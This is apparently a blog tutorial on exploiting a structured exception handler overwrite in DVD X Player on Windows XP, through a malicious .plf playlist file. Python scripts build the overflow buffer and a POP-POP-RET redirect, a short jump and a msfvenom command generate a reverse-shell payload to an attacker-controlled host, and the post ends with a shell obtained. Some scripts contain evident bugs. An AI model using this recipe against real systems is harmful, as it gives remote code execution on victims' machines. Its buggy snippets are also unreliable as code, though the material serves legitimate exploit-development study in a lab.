Disclaimer: This post only for education only ! not to cause any destruction on any living system. Be smart!
In the previous post about exploit development, we see that we able to take control of an FTP server by causing a buffer overflow in the stack register of the program but unfortunately this case is often considered as too good to be true and not likely to happen in today's program since there are many defense mechanisms that have already been equipped to circumvent our exploit.
One of defense we are going to talk about today is SEH (Structure Exception Handler) *TA TA taaaaaaaaaaaaaaa
what is SEH?
is a mechanism used by the Windows operating system for handling software and hardware exception. To all of you readers who already learn programming exception can be used in the following way:(in python):
try:
//create a code
except:
//if some error occurred, do this !
an exception is very good at handling an error in the program, so the program itself knows what to do rather than crashing.
an exception can also be used to prevent buffer overflow
in the Windows operating system, SEH implemented by chaining them together like a linked list. It starts when program experiences crash and the OS will go through the SEH chain one by one to see which one is suitable to handle the crash. The overall can be depicted in the following diagram:
reference: https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/
Unfortunately:
yeah! unfortunately, SEH is not a 100% solution to an overflow attack, an attacker can bypass the SEH check and redirect the execution of the program to execute the shellcode. Let's implement this in a real-life scenario.note: this post is based on the fuzzy sec blog (http://www.fuzzysecurity.com/tutorials/expDev/3.html)and not fully come from me, I only recreate the POC in a more detail manner since when I try executed this I'm kinda confused to follow the instruction since it's lack of some certain detail in the process.
our target is going to be: https://www.exploit-db.co/apps/cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe
the os is going to be windows XP pack 3 equipped with immunity debugger
Implementation:
load the DVD player program into immunity debuggerPress the play button so it will start executing the program, first, we need to craft some malicious file that will crash the program.
You can check SEH feature by going to the "view" at the top of toolbar and click the "SEH chain"
This will show the list of SEH in the program and as you can see there is only one entry and if we trace the register it says "SE handler"
Use the following python code to generate malicious .plf (playlist file) program
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
execute the program it will generate an "evil.plf" file in your directory. Load the file into your DVD X player
once it loads it will crash the program and take a look at the EIP it contains "A" characters
This is actually really similar to the previous post but here we can check what happens to our SEH. Try to type "shift + f9" to pass the exception and check the SEH chain (you can use this couple of times this will not affect the program).
As you can see that the SEH chain has been corrupted with our file what this means is that we are able to overwrite the SEH register by our payload. Let's try to create a random pattern so we know how much offset we need to overwrite.
put the random pattern into our script:
filename="evil.plf"
#buffer = "A"*2000
buffer = <insert random pattern>
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
execute the python script again and load it into the DVD x player (don't forget to re-run the app again since we just crashed it earlier)
now we need to run the mona script to find the offset of the SEH chain (type !mona findmsp):
cool! so we need to edit the 608 th offset to rewrite the value of SEH. Let's test it with the following script:
filename="evil.plf"
buffer = "A"*608
SEH= "B" * 4
buffer2 = "C" * 1000
payload = buffer + SEH + buffer2
textfile = open(payload , 'w')
textfile.write(buffer)
textfile.close()
Run the script again and load it to the program, click shift + f9 to pass the exception and check the SEH chain.
great! we are able to overwrite the right offset to edit the SEH. Right now we can fill the offset value to redirect the program into "next SEH", remember I told you that SEH chained together like a linked list and if the error is not matched with the current exception it will move the "next SEH" right? so all we have to do is just redirect the SEH using POP+POP+RET instruction to the next SEH that contains the value of our shellcode.
this workflow can be breakdown with the following diagram:
POP+POP+RET, would pop the first two entries off of the stack and the return instruction would load back again to next SEH
we can find the "POP+POP+RET" using mona, type: !mona seh
you can use any of the listed address, but I suggest you use the address that has EPG.dll attach to it so the exploit is going to be universal since it is a common library.
updated our script to become like this:
filename="evil.plf"
buffer = "A"*608
next_seh= "B" * 4
seh = "\x19\x76\x66\x66"
buffer2 = "C" * 1000
payload = buffer + next_seh + seh + buffer2
textfile = open(payload , 'w')
textfile.write(buffer)
textfile.close()
to make sure we hit the right address of "POP+POP+RET" put the breakpoint in 0x66667619 and run the program with the new file.
cool! now once you hit the breakpoint try to step through the code using "shift + f7" it will lead you to the "next SEH" variable in conclusion POP + POP + RET instruction is just making program EIP move backward 4 bytes. Now all we have to do is to figure out what value needs to be filled inside the next SEH register
we can just point it to our shellcode which is next after the SEH variable. I use \xEB\x06\x90\x90 to jump to the next 8 bytes.
now our final script is going to be like this:
to generate the shellcode I used the msfpayload with the following specification of parameters.
~#msfvenom --payload windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=9090 -i 1 --arch x86 --platform windows -b \x00\x0a\x0d\x1a --format python
run it and we got another evil.plf again now try to load it into DVD x player and don't forget to open a port to receiver our reverse shell
Cool! we got our reverse shell from the windows XP
I hope you enjoy this post
Reference:
https://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/
Comments
Post a Comment